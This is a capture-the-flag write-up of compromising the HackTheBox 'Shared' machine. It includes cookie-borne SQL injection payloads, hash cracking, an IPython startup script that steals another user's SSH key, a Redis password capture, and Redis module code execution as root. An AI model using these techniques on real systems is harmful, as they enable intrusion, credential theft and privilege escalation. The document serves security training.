Introduction
Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.
Shared is a Medium Linux machine.
Recon
Nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
ββ$ rustscan -a 10.10.11.172 -b 4000 -- -sV -A -T4 -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://shared.htb
443/tcp open ssl/http syn-ack nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://shared.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
We face a website that use PrestaShop, an open-source e-commerce solution. The website is in HTTPS, the certificate does not give interesting informations.
Checking vulnerabilities
I checked if there are some vulnerabilities on PrestaShop using searchsploit
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
ββ$ searchsploit prestashop
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Mpay24 PrestaShop Payment Module 1.5 - Multiple Vulnerabilities | php/webapps/34586.txt
PrestaShop - 'getSimilarManufacturer.php?id_manufacturer' SQL Injection | php/webapps/39172.txt
PrestaShop - Multiple Cross-Site Request Forgery Vulnerabilities | php/webapps/38656.html
PrestaShop 1.1 - '/admin/login.php?PATH_INFO' Cross-Site Scripting | php/webapps/32647.txt
PrestaShop 1.1 - 'order.php?PATH_INFO' Cross-Site Scripting | php/webapps/32648.txt
PrestaShop 1.3.6 - 'cms.php' Remote File Inclusion | php/webapps/35575.txt
PrestaShop 1.4.4.1 - '/admin/ajaxfilemanager/ajax_save_text.php' Multiple Cross-Si | php/webapps/36344.txt
PrestaShop 1.4.4.1 - '/modules/mondialrelay/googlemap.php' Multiple Cross-Site Scr | php/webapps/36342.txt
PrestaShop 1.4.4.1 - '/modules/mondialrelay/kit_mondialrelay/SuiviExpedition_ajax. | php/webapps/36343.txt
Prestashop 1.4.4.1 - 'displayImage.php' HTTP Response Splitting | php/webapps/36345.txt
PrestaShop 1.4.4.1 mondialrelay (kit_mondialrelay) - Multiple Cross-Site Scripting | php/webapps/36341.txt
PrestaShop 1.4.7 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/37684.html
PrestaShop 1.5.1 - Persistent Cross-Site Scripting | php/webapps/22430.txt
PrestaShop 1.6.x/1.7.x - Remote Code Execution | php/webapps/45964.php
Prestashop 1.7.6.4 - Cross-Site Request Forgery | php/webapps/48347.txt
PrestaShop 1.7.6.7 - 'location' Blind Sql Injection | php/webapps/49755.py
Prestashop 1.7.7.0 - 'id_product' Time Based Blind SQL Injection | php/webapps/49410.txt
PrestaShop < 1.6.1.19 - 'AES CBC' Privilege Escalation | php/webapps/45046.py
PrestaShop < 1.6.1.19 - 'BlowFish ECD' Privilege Escalation | php/webapps/45047.txt
Prestashop blockwishlist module 2.1.0 - SQLi | php/webapps/51001.py
PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection | php/webapps/49267.txt
----------------------------------------------------------------------------------- ---------------------------------
|
We find that the solution has many vulnerabilities including SQL injection.
Subdomain enumeration
I managed, before trying to exploit vulnerabilities to enumerate subdomain on the server. I did that with fuff.
1
2
3
|
ββ$ ffuf -w /usr/share/wordlists/subdomains-top1mil.txt -H "Host: FUZZ.shared.htb" -u "https://shared.htb" -mc 200
checkout [Status: 200, Size: 3229, Words: 1509, Lines: 65, Duration: 32ms]
|
We discover a subdomain checkout.shared.htb
. Browsing the subdomain we face a page where we can pay some products with a Credit card form.
Path to the user
As shown by the searchexploit
research, multiple versions of Prestashop are vulnerable to SQL Injection attack.
SQL Injection
I tried SQL injection on several pages and parameters using the sqlmap
tool. But the tool did not give any working injection.
Using Burpsuite I found a custom Cookie custom_cart
that matches the items in our cart. When analyzing the response, we see that there are 3 columns in the response.
1
2
3
4
|
<th scope="row">1</th>
<td>BTAPXNX4</td>
<td>1</td>
<td>$12,90</td>
|
So, manually, I tried to do an union base injection. I found one working injection !
1
2
3
4
5
6
|
# trying to extract database name
ββ$ curl --insecure "https://checkout.shared.htb" -b "custom_cart={\"coucou' union select 1,database(),3 #\":\"1\"}"
<th scope="row">1</th>
<td>checkout</td>
<td>1</td>
<td>$3,00</td>
|
It works! We can now extract data from the database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# extract tables
ββ$ curl --insecure "https://checkout.shared.htb" -b "custom_cart={\"coucou' union select 1,gRoUp_cOncaT(0x7c,table_name,0x7C),3 fRoM information_schema.tables wHeRe table_schema=database() #\":\"1\"}"
<td>|user|,|product|</td>
# extract users
ββ$ curl --insecure "https://checkout.shared.htb" -b "custom_cart={\"coucou' union select 1,gRoUp_cOncaT(0x7c,username,0x7C),3 fRoM user #\":\"1\"}"
<td>|james_mason|</td>
# extract password
ββ$ curl --insecure "https://checkout.shared.htb" -b "custom_cart={\"coucou' union select 1,gRoUp_cOncaT(0x7c,password,0x7C),3 fRoM user #\":\"1\"}"
<td>|fc895d4eddc2fc12f995e18c865cf273|</td>
|
We dump those credentials (password is encrypted): james_mason:fc895d4eddc2fc12f995e18c865cf273
.
Using hashcat
we can decrypt the hash.
1
2
3
|
ββ$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
fc895d4eddc2fc12f995e18c865cf273:Soleil101
|
We got the credentials: james_mason:Soleil101
. Let’s try to connect into the SSH server :)
1
2
3
4
5
|
ββ$ ssh james_mason@10.10.11.172
james_mason@10.10.11.172's password: Soleil101
james_mason@shared:~$ id
uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)
|
We are in! We can get the user fl… Huuu no :(
Local Recon
The flag is probably own by the user dan_smith
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
james_mason@shared:~$ ls -alih
total 20K
3980 drwxr-xr-x 2 james_mason james_mason 4.0K Jul 14 13:46 .
23446 drwxr-xr-x 4 root root 4.0K Jul 14 13:46 ..
45486 lrwxrwxrwx 1 root root 9 Mar 20 2022 .bash_history -> /dev/null
4427 -rw-r--r-- 1 james_mason james_mason 220 Mar 20 2022 .bash_logout
4426 -rw-r--r-- 1 james_mason james_mason 3.5K Mar 20 2022 .bashrc
4432 -rw-r--r-- 1 james_mason james_mason 807 Mar 20 2022 .profile
james_mason@shared:~$ ls -alih /home
total 16K
23446 drwxr-xr-x 4 root root 4.0K Jul 14 13:46 .
2 drwxr-xr-x 18 root root 4.0K Jul 14 13:46 ..
53823 drwxr-xr-x 4 dan_smith dan_smith 4.0K Jul 14 13:47 dan_smith
3980 drwxr-xr-x 2 james_mason james_mason 4.0K Jul 14 13:46 james_mason
|
So we have to find a way to get an access to the user dan_smith
. I runned a Linpeas scan.
I tried the Dirty-Pipes exploit that came from the scan, but as expected it doesn’t work.
Checking at the Prestashop directory, we find the admin directory at /var/www/shared.htb/ps/admin337qgl3xc
. Browsing to it, we face the admin login form.
Checking at Prestashop config files, I find credentials of the checkout
database at /var/www/checkout.shared.htb/config/
.
1
2
3
4
5
6
7
8
|
james_mason@shared:~$ cat /var/www/checkout.shared.htb/config/db.php
<?php
define('DBHOST','localhost');
define('DBUSER','checkout');
define('DBPWD','a54$K_M4?DdT^HUk');
define('DBNAME','checkout');
?>
|
Thanks to the linpeas scan, we find a Redis server that is running on port 6379.
1
2
3
|
james_mason@shared:~$ ps -aux |grep redis
[...]
root 37956 0.3 0.7 65104 14808 ? Ssl 10:57 0:00 /usr/bin/redis-server 127.0.0.1:6379
|
Finally, I also find that ipython is installed on the machine. The interesting thing is that an ipython
file as been modified in the last 5mins by the user dan_smith
. That information also came from the scan.
1
2
|
ββββββββββββ£ Modified interesting files in the last 5mins (limit 100)
/home/dan_smith/.ipython/profile_default/history.sqlite
|
As I was alone on the machine at that time, it make me think that a script (in cron?) is probably running every X seconds/minutes. This confirmed by the output of ps -aux
that does not give me an ipython
process.
The tool pspy fit perfectly to this problematic. It allows us to get all launched process without beeing root. So I start listening processes and I discover that UID=1001, dan_smith
, execute those commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
james_mason@shared:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
ββββββ ββββββ ββββββ βββ βββ
ββββ ββββββ β ββββ ββββββ βββ
ββββ βββββ ββββ ββββ ββββ βββ βββ
βββββββ β β ββββββββββ β β βββββ
ββββ β ββββββββββββββ β β β βββββ
ββββ β ββ βββ β βββββ β β βββββ
ββ β β ββ β βββ β βββ βββ
ββ β β β ββ β β ββ
β β β
β β
[...]
2022/11/08 02:51:01 CMD: UID=1001 PID=72318 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
|
User dan_smith
go into the directory /opt/scripts_review/
and run ipython
.
User lateralization
Reading the documentation of IPython, I find a page that talk about startup script. Startup script allows a user to execute .py
scripts at the beginning of an ipython session. User has to create the script and put it in a profile_default/startup/
directory. Scripts will be executed when running ipython
.
As the user dan_smith
go to the directory /opt/scripts_review/
I create the following tree structure.
1
2
3
4
|
/opt/scripts_review
βββ profile_default
βββ startup
βββ e.py
|
Where e.py
send the output of ~/.ssh/id_rsa
into a file.
e.py
1
2
|
import os
os.system("cat ~/.ssh/id_rsa > /tmp/test")
|
Waiting for the user dan_smith
to run the ipython
session and we can access his SSH private key on the file we specified in the script!
1
2
3
4
5
6
|
james_mason@shared:/opt/scripts_review$ cat /tmp/test
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
tfJMvuTgb3NhHvUwAAAAtyb290QHNoYXJlZAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
|
We can now access to the user and get the user flag :)
1
2
3
4
|
dan_smith@shared:~$ id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
dan_smith@shared:~$ cat user.txt
**************************a7e41f
|
Path to the privesc
Local recon
As we saw earlier, there is a redis server running. Redis is an open source, in-memory, key-value data store.
In a redis console, we can get some information about the server using the INFO
command. Unfortunately, user dan_smith
can’t use redis without password, we got the NOAUTH error again. But we find an executable /usr/local/bin/redis_connector_dev
that execute the info
command on redis using a password that we don’t have.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
dan_smith@shared:~$ /usr/local/bin/redis_connector_dev
[+] Logging to redis instance using password...
INFO command result:
# Server
redis_version:6.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:4610f4c3acf7fb25
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:93278
run_id:23eb0bb0997fedebea238f41b2bffe66f13d75ee
tcp_port:6379
uptime_in_seconds:47
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:6973290
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads_active:0
<nil>
|
Get redis password
So the password is read on a file, maybe on the root folder, then sent to the redis process that is running on port 6379. I managed to download the binary on my own machine, create a listener on port 6379 to try to get the password sent by the binary.
1
2
3
4
5
6
7
8
9
10
|
# download the binary
ββ$ scp -i key dan_smith@10.10.11.172:/usr/local/bin/redis_connector_dev /tmp/binary
# set execution perms
ββ$ chmod +x /tmp/binary
# create a listener
ββ$ nc -lvnp 6379
# execute the binary
ββ$ /tmp/binary
|
As a result, we get the password in the listener.
1
2
3
4
5
6
7
8
|
ββ$ nc -lvnp 6379
listening on [any] 6379 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53438
*2
$4
auth
$16
F2WHqJUz2WEz=Gqq
|
We can now connect into the redis console and execute commands.
1
2
3
|
dan_smith@shared:~$ redis-cli
127.0.0.1:6379> auth F2WHqJUz2WEz=Gqq
OK
|
Redis RCE exploit
From Hacktricks we learn that it is possible to do a RCE using Redis module. We can create a module using that repo RedisModules-ExecuteCommand and then load it into the redis-cli
. This module allow a user to execute system commands. As the running redis server is own by root, we’ll be able to execute commands as root !
1
2
3
4
|
127.0.0.1:6379> MODULE LOAD /home/dan_smith/test/module.so
OK
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
|
We can now get the root flag :)